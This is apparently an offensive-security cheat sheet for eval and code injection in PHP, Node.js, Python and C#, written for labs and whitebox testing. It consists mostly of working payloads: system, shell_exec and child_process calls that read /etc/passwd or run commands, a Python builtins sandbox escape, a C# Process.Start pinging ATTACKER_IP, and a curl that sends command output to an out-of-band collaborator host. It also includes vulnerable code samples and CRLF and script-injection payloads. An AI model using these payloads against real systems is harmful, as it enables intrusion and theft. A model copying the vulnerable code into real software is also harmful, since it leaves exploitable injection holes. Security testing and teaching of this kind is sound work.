Web

Eval Injection / Code Injection

Eval injection across PHP, JavaScript (Node.js), Python, and C#: detection via source review, dangerous function identification, payload construction, privilege escalation through eval, HTTP response injection, and Burp whitebox workflow.

What is Eval Injection

Eval injection occurs when user-controlled input is passed to an eval() function or equivalent code execution primitive without sanitisation. Unlike command injection (which reaches the OS shell), eval injection executes in the language’s own runtime — often with access to the application’s full internal state, database connections, and memory.


Dangerous Functions — Whitebox Grep

# PHP
grep -rn "eval\s*(\|assert\s*(\|preg_replace.*\/e\|create_function\|exec\s*(\|shell_exec\|passthru\|system\s*(\|popen\s*(" --include="*.php" .

# JavaScript (Node.js)
grep -rn "eval(\|Function(\|setTimeout.*string\|setInterval.*string\|vm\.runInThisContext\|child_process\|exec(" --include="*.js" .

# Python
grep -rn "eval(\|exec(\|subprocess\.\|os\.system\|os\.popen\|__import__\|compile(" --include="*.py" .

# C# / .NET
grep -rn "Process\.Start\|Invoke\|CSharpCodeProvider\|Assembly\.Load" --include="*.cs" .

Detection — Black-Box

Step 1 — Identify eval-like inputs

Look for fields that accept expressions, templates, formulas, or code:

  • Math/formula calculators
  • Template engines with user-controlled templates
  • Search with dynamic query building
  • Admin panels with eval-style debug modes
  • URL parameters passed to dynamic require() / import()

Step 2 — Inject a math expression

{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}

If 49 appears in the response → evaluation confirmed.

Step 3 — Inject a harmless function call

// JS context
'; console.log(process.version); var x='
# Python context
'+str(__import__('os').getpid())+'

PHP Eval Injection

Vulnerable code

$input = $_GET['expr'];
eval('$result = ' . $input . ';');
echo $result;

Detection payload

?expr=1+1

→ returns 2 (math evaluated)

RCE payload

?expr=system('id')
?expr=shell_exec('whoami')
?expr=passthru('cat /etc/passwd')

Quote context breakout

If input is inside a string:

eval('echo "' . $input . '";');

Inject:

?input="; system('id'); echo "

PHP preg_replace with /e modifier (deprecated, PHP < 7.0)

preg_replace('/' . $pattern . '/e', $replacement, $subject);

Inject into $pattern:

pattern=.*/e&replacement=system('id')

JavaScript / Node.js Eval Injection

Vulnerable code

const result = eval("var i = '" + userInput + "'");

Breakout payload

userInput = '; require('child_process').execSync('id').toString(); var x='

Result:

var i = ''; require('child_process').execSync('id').toString(); var x=''

Function constructor bypass (when eval is blocked)

const f = new Function('return ' + userInput);
f();

Inject:

(function(){return require('child_process').execSync('id').toString()})()

setTimeout / setInterval string execution

setTimeout(userInput, 0);

Inject:

require('child_process').execSync('id')

Python Eval / Exec Injection

Vulnerable code

result = eval(user_input)

Read a file

open('/etc/passwd').read()

Import OS and execute commands

__import__('os').system('id')
__import__('subprocess').check_output('id',shell=True).decode()

exec() injection (for statements, not expressions)

exec(user_input)

Payload:

import os; os.system('id')

Sandbox escape (Python restricted eval)

If __builtins__ is restricted:

# Via __class__.__mro__ chain to get to subprocess
''.__class__.__mro__[1].__subclasses__()[N].__init__.__globals__['__builtins__']['__import__']('os').system('id')

Find the right subclass index:

for i, c in enumerate(''.__class__.__mro__[1].__subclasses__()):
    if 'subprocess' in str(c):
        print(i, c)

C# / .NET Code Execution

Process.Start injection

Process.Start(userInput);

Inject:

cmd.exe /c whoami > C:\output.txt

CSharpCodeProvider (dynamic compilation)

If the app compiles and runs C# code from user input, inject a Process.Start:

using System.Diagnostics;
public class Exploit {
    public static void Main() {
        Process.Start("cmd.exe", "/c ping ATTACKER_IP");
    }
}

Privilege Escalation via Eval

CWEE-specific: role-based eval access

A common pattern in CWEE labs: eval() is accessible only to admin role users, but a logic bug or type juggling lets a low-priv user reach it.

  1. Identify the eval endpoint (usually a debug/admin panel).
  2. Achieve the required role via another vulnerability (type juggling, JWT tamper, session puzzling).
  3. Send eval payload through the privileged endpoint.

In Burp Repeater:

POST /admin/evaluate HTTP/1.1
Cookie: PHPSESSID=ADMIN_SESSION_OR_BYPASSED

expr=system('cat+/flag.txt')

HTTP Response Injection via Eval

If eval output is reflected into HTTP headers:

expr=\r\nSet-Cookie: admin=true\r\n

Or into the HTML body:

expr=<script>alert(document.cookie)</script>

Burp Suite workflow

  1. Proxy — capture all requests with formula/expression/query parameters.
  2. Repeater — inject 7*7, 1+1, 'test', sleep(5) to detect eval.
  3. For whitebox: grep source for eval(, exec(, Function( and trace input to those calls.
  4. Intruder — fuzz context escape characters: ', ", ;, }, ), `.
  5. Collaborator — confirm blind eval via curl http://COLLABORATOR/$(id) (bash) or equivalent OOB payload.